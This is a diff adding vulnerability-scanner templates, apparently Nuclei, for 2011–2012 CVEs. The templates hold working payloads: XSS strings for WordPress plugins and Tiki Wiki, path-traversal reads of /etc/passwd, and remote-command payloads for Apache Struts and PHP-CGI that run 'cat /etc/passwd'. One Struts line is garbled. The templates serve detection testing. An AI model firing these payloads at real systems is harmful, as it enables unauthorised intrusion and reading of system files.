+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2011/CVE-2011-4336.yaml

@@ -0,0 +1,33 @@
+id: CVE-2011-4336
+
+info:
+  name: Tiki Wiki CMS Groupware 7.0 has XSS
+  author: pikpikcu
+  severity: medium
+  description: Tiki Wiki CMS Groupware 7.0 has XSS via the GET "ajax" parameter to snarf_ajax.php.
+  reference: |
+    - https://nvd.nist.gov/vuln/detail/CVE-2011-4336
+    - https://www.securityfocus.com/bid/48806/info
+    - https://seclists.org/bugtraq/2011/Nov/140
+  tags: cve,cve2011,xss,tikiwiki
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/snarf_ajax.php?url=1&ajax=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - '</script><script>alert(document.domain)</script>'
+        part: body
+
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        part: header
+        words:
+          - text/html

cves/2011/CVE-2011-4618.yaml

@@ -0,0 +1,30 @@
+id: CVE-2011-4618
+
+info:
+  name: Advanced Text Widget < 2.0.2 - Reflected Cross-Site Scripting (XSS)
+  author: daffainfo
+  severity: medium
+  description: Cross-site scripting (XSS) vulnerability in advancedtext.php in Advanced Text Widget plugin before 2.0.2 for WordPress allows remote attackers to inject arbitrary web script or HTML via the page parameter.
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2011-4618
+  tags: cve,cve2011,wordpress,xss,wp-plugin
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/wp-content/plugins/advanced-text-widget/advancedtext.php?page=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "</script><script>alert(document.domain)</script>"
+        part: body
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200

cves/2011/CVE-2011-4624.yaml

@@ -0,0 +1,30 @@
+id: CVE-2011-4624
+
+info:
+  name: GRAND FlAGallery 1.57 - Reflected Cross-Site Scripting (XSS)
+  author: daffainfo
+  severity: medium
+  description: Cross-site scripting (XSS) vulnerability in facebook.php in the GRAND FlAGallery plugin (flash-album-gallery) before 1.57 for WordPress allows remote attackers to inject arbitrary web script or HTML via the i parameter.
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2011-4624
+  tags: cve,cve2011,wordpress,xss,wp-plugin
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/wp-content/plugins/flash-album-gallery/facebook.php?i=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "</script><script>alert(document.domain)</script>"
+        part: body
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200

cves/2011/CVE-2011-4804.yaml

@@ -0,0 +1,27 @@
+id: CVE-2011-4804
+
+info:
+  name: Joomla! Component com_kp - 'Controller' Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the obSuggest (com_obsuggest) component before 1.8 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
+  reference: |
+    - https://www.exploit-db.com/exploits/36598
+    - https://www.cvedetails.com/cve/CVE-2011-4804
+  tags: cve,cve2011,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_kp&controller=../../../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2011/CVE-2011-4926.yaml

@@ -0,0 +1,30 @@
+id: CVE-2011-4926
+
+info:
+  name: Adminimize 1.7.22 - Reflected Cross-Site Scripting (XSS)
+  author: daffainfo
+  severity: medium
+  description: Cross-site scripting (XSS) vulnerability in adminimize/adminimize_page.php in the Adminimize plugin before 1.7.22 for WordPress allows remote attackers to inject arbitrary web script or HTML via the page parameter.
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2011-4926
+  tags: cve,cve2011,wordpress,xss,wp-plugin
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/wp-content/plugins/adminimize/adminimize_page.php?page=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "</script><script>alert(document.domain)</script>"
+        part: body
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200

cves/2011/CVE-2011-5106.yaml

@@ -0,0 +1,30 @@
+id: CVE-2011-5106
+
+info:
+  name: WordPress Plugin Flexible Custom Post Type < 0.1.7 - Reflected Cross-Site Scripting (XSS)
+  author: daffainfo
+  severity: medium
+  description: Cross-site scripting (XSS) vulnerability in edit-post.php in the Flexible Custom Post Type plugin before 0.1.7 for WordPress allows remote attackers to inject arbitrary web script or HTML via the id parameter.
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2011-5106
+  tags: cve,cve2011,wordpress,xss,wp-plugin
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/wp-content/plugins/flexible-custom-post-type/edit-post.php?id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "</script><script>alert(document.domain)</script>"
+        part: body
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200

cves/2011/CVE-2011-5107.yaml

@@ -0,0 +1,30 @@
+id: CVE-2011-5107
+
+info:
+  name: Alert Before Your Post <= 0.1.1 - Reflected Cross-Site Scripting (XSS)
+  author: daffainfo
+  severity: medium
+  description: Cross-site scripting (XSS) vulnerability in post_alert.php in Alert Before Your Post plugin, possibly 0.1.1 and earlier, for WordPress allows remote attackers to inject arbitrary web script or HTML via the name parameter.
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2011-5107
+  tags: cve,cve2011,wordpress,xss,wp-plugin
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/wp-content/plugins/alert-before-your-post/trunk/post_alert.php?name=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "</script><script>alert(document.domain)</script>"
+        part: body
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200

cves/2011/CVE-2011-5179.yaml

@@ -0,0 +1,30 @@
+id: CVE-2011-5179
+
+info:
+  name: Skysa App Bar 1.04 - Reflected Cross-Site Scripting (XSS)
+  author: daffainfo
+  severity: medium
+  description: Cross-site scripting (XSS) vulnerability in skysa-official/skysa.php in Skysa App Bar Integration plugin, possibly before 1.04, for WordPress allows remote attackers to inject arbitrary web script or HTML via the submit parameter.
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2011-5179
+  tags: cve,cve2011,wordpress,xss,wp-plugin
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/wp-content/plugins/skysa-official/skysa.php?submit=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "</script><script>alert(document.domain)</script>"
+        part: body
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200

cves/2011/CVE-2011-5181.yaml

@@ -0,0 +1,30 @@
+id: CVE-2011-5181
+
+info:
+  name: ClickDesk Live Support Live Chat 2.0 - Reflected Cross-Site Scripting (XSS)
+  author: daffainfo
+  severity: medium
+  description: Cross-site scripting (XSS) vulnerability in clickdesk.php in ClickDesk Live Support - Live Chat plugin 2.0 for WordPress allows remote attackers to inject arbitrary web script or HTML via the cdwidgetid parameter.
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2011-5181
+  tags: cve,cve2011,wordpress,xss,wp-plugin
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/wp-content/plugins/clickdesk-live-support-chat/clickdesk.php?cdwidgetid=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "</script><script>alert(document.domain)</script>"
+        part: body
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200

cves/2011/CVE-2011-5265.yaml

@@ -0,0 +1,30 @@
+id: CVE-2011-5265
+
+info:
+  name: Featurific For WordPress 1.6.2 - Reflected Cross-Site Scripting (XSS)
+  author: daffainfo
+  severity: medium
+  description: Cross-site scripting (XSS) vulnerability in cached_image.php in the Featurific For WordPress plugin 1.6.2 for WordPress allows remote attackers to inject arbitrary web script or HTML via the snum parameter.
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2011-5265
+  tags: cve,cve2011,wordpress,xss,wp-plugin
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/wp-content/plugins/featurific-for-wordpress/cached_image.php?snum=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "</script><script>alert(document.domain)</script>"
+        part: body
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200

cves/2012/CVE-2012-0392.yaml

@@ -0,0 +1,25 @@
+id: CVE-2012-0392
+
+info:
+  name: Apache Struts2 S2-008 RCE
+  author: pikpikcu
+  severity: critical
+  description: The CookieInterceptor component in Apache Struts before 2.3.1.1 does not use the parameter-name whitelist, which allows remote attackers to execute arbitrary commands via a crafted HTTP Cookie header that triggers Java code execution through a static method.
+  reference: https://blog.csdn.net/weixin_43416469/article/details/113850545
+  tags: cve,cve2012,apache,rce,struts
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/devmode.action?debug=command&expression=(%23_memberAccess[%22allowStaticMethodAccess%22]%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean(%22false%22)%20%2C%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D%23foo%[email protected]@toString(@java.lang.Runtime@getRuntime().exec(%27cat%20/etc/passwd%27).getInputStream()))"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2012/CVE-2012-0901.yaml

@@ -0,0 +1,30 @@
+id: CVE-2012-0901
+
+info:
+  name: YouSayToo auto-publishing 1.0 - Reflected Cross-Site Scripting (XSS)
+  author: daffainfo
+  severity: medium
+  description: Cross-site scripting (XSS) vulnerability in yousaytoo.php in YouSayToo auto-publishing plugin 1.0 for WordPress allows remote attackers to inject arbitrary web script or HTML via the submit parameter.
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2012-0901
+  tags: cve,cve2012,wordpress,xss,wp-plugin
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/wp-content/plugins/yousaytoo-auto-publishing-plugin/yousaytoo.php?submit=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "</script><script>alert(document.domain)</script>"
+        part: body
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200

cves/2012/CVE-2012-0991.yaml

@@ -0,0 +1,27 @@
+id: CVE-2012-0991
+
+info:
+  name: OpenEMR 4.1 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Multiple directory traversal vulnerabilities in OpenEMR 4.1.0 allow remote authenticated users to read arbitrary files via a .. (dot dot) in the formname parameter to (1) contrib/acog/print_form.php; or (2) load_form.php, (3) view_form.php, or (4) trend_form.php in interface/patient_file/encounter.
+  reference: |
+    - https://www.exploit-db.com/exploits/36650
+    - https://www.cvedetails.com/cve/CVE-2012-0991
+  tags: cve,cve2012,lfi,openemr
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/contrib/acog/print_form.php?formname=../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2012/CVE-2012-1823.yaml

@@ -0,0 +1,35 @@
+id: CVE-2012-1823
+
+info:
+  name: PHP CGI v5.3.12/5.4.2 RCE
+  author: pikpikcu
+  severity: critical
+  reference: |
+    - https://github.com/vulhub/vulhub/tree/master/php/CVE-2012-1823
+    - https://nvd.nist.gov/vuln/detail/CVE-2012-1823
+  description: |
+    sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not properly handle query strings that lack an = (equals sign) character, which allows remote attackers to execute arbitrary code by placing command-line options in the query string, related to lack of skipping a certain php_getopt for the 'd' case.
+  tags: rce,php,cve,cve2012
+
+requests:
+  - raw:
+      - |
+        POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
+        Content-Type: application/x-www-form-urlencoded
+        Content-Length: 31
+
+        <?php echo shell_exec("cat /etc/passwd"); ?>
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+        condition: and
+
+      - type: status
+        status:
+          - 200

cves/2012/CVE-2012-1835.yaml

@@ -0,0 +1,34 @@
+id: CVE-2012-1835
+
+info:
+  name: WordPress Plugin All-in-One Event Calendar 1.4 - Reflected Cross-Site Scripting (XSS)
+  author: daffainfo
+  severity: medium
+  description: Multiple cross-site scripting (XSS) vulnerabilities in the All-in-One Event Calendar plugin 1.4 and 1.5 for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) title parameter to app/view/agenda-widget-form.php; (2) args, (3) title, (4) before_title, or (5) after_title parameter to app/view/agenda-widget.php; (6) button_value parameter to app/view/box_publish_button.php; or (7) msg parameter to /app/view/save_successful.php.
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2012-1835
+  tags: cve,cve2012,wordpress,xss,wp-plugin
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?title=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
+#     - '{{BaseURL}}/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget-form.php?title[id]=%22%3E%3Cscript%3Ealert%28123%29;%3C/script%3E'
+#     - '{{BaseURL}}/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?args[before_widget]=%3Cscript%3Ealert%28123%29;%3C/script%3E'
+#     - '{{BaseURL}}/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?title=1&before_title=%3Cscript%3Ealert%28123%29;%3C/script%3E'
+#     - '{{BaseURL}}/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?title=1&after_title=%3Cscript%3Ealert%28123%29;%3C/script%3E'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "</script><script>alert(document.domain)</script>"
+        part: body
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200

cves/2012/CVE-2012-2371.yaml

@@ -0,0 +1,30 @@
+id: CVE-2012-2371
+
+info:
+  name: WP-FaceThumb 0.1 - Reflected Cross-Site Scripting (XSS)
+  author: daffainfo
+  severity: medium
+  description: Cross-site scripting (XSS) vulnerability in index.php in the WP-FaceThumb plugin 0.1 for WordPress allows remote attackers to inject arbitrary web script or HTML via the pagination_wp_facethumb parameter.
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2012-2371
+  tags: cve,cve2012,wordpress,xss,wp-plugin
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/?page_id=1&pagination_wp_facethumb=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "</script><script>alert(document.domain)</script>"
+        part: body
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200

cves/2012/CVE-2012-3153.yaml

@@ -0,0 +1,47 @@
+id: CVE-2012-3153
+
+info:
+  name: Oracle Forms & Reports RCE (CVE-2012-3152 & CVE-2012-3153)
+  author: Sid Ahmed MALAOUI @ Realistic Security
+  severity: critical
+  description: |
+    Unspecified vulnerability in the Oracle Reports Developer component in Oracle Fusion Middleware 11.1.1.4,
+    11.1.1.6, and 11.1.2.0 allows remote attackers to affect confidentiality and integrity via unknown
+    vectors related to Report Server Component.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2012-3152
+    - https://www.exploit-db.com/exploits/31737
+  tags: cve,cve2012,oracle,rce
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/reports/rwservlet/showenv"
+      - "{{BaseURL}}/reports/rwservlet?report=test.rdf&desformat=html&destype=cache&JOBTYPE=rwurl&URLPARAMETER=file:///"
+
+    req-condition: true
+    matchers-condition: and
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(body_1, "Reports Servlet")'
+
+      - type: status
+        status:
+          - 200
+
+      - type: dsl
+        dsl:
+          - '!contains(body_2, "<html")'
+          - '!contains(body_2, "<HTML")'
+        condition: and
+
+    extractors:
+      - type: regex
+        name: windows_working_path
+        regex:
+          - ".?.?\\\\.*\\\\showenv"
+      - type: regex
+        name: linux_working_path
+        regex:
+          - "/.*/showenv"

cves/2012/CVE-2012-4242.yaml

@@ -0,0 +1,29 @@
+id: CVE-2012-4242
+
+info:
+  name: WordPress Plugin MF Gig Calendar 0.9.2 - Reflected Cross-Site Scripting (XSS)
+  author: daffainfo
+  severity: medium
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2012-4242
+  tags: cve,cve2012,wordpress,xss,wp-plugin
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/?page_id=2&%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "</script><script>alert(document.domain)</script>"
+        part: body
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200

cves/2012/CVE-2012-4253.yaml

@@ -0,0 +1,27 @@
+id: CVE-2012-4253
+
+info:
+  name: MySQLDumper 1.24.4 - Directory Traversal
+  author: daffainfo
+  severity: high
+  description: Multiple directory traversal vulnerabilities in MySQLDumper 1.24.4 allow remote attackers to read arbitrary files via a .. (dot dot) in the (1) language parameter to learn/cubemail/install.php or (2) f parameter learn/cubemail/filemanagement.php, or execute arbitrary local files via a .. (dot dot) in the (3) config parameter to learn/cubemail/menu.php.
+  reference: |
+    - https://www.exploit-db.com/exploits/37129
+    - https://www.cvedetails.com/cve/CVE-2012-4253
+  tags: cve,cve2012,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/learn/cubemail/filemanagement.php?action=dl&f=../../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200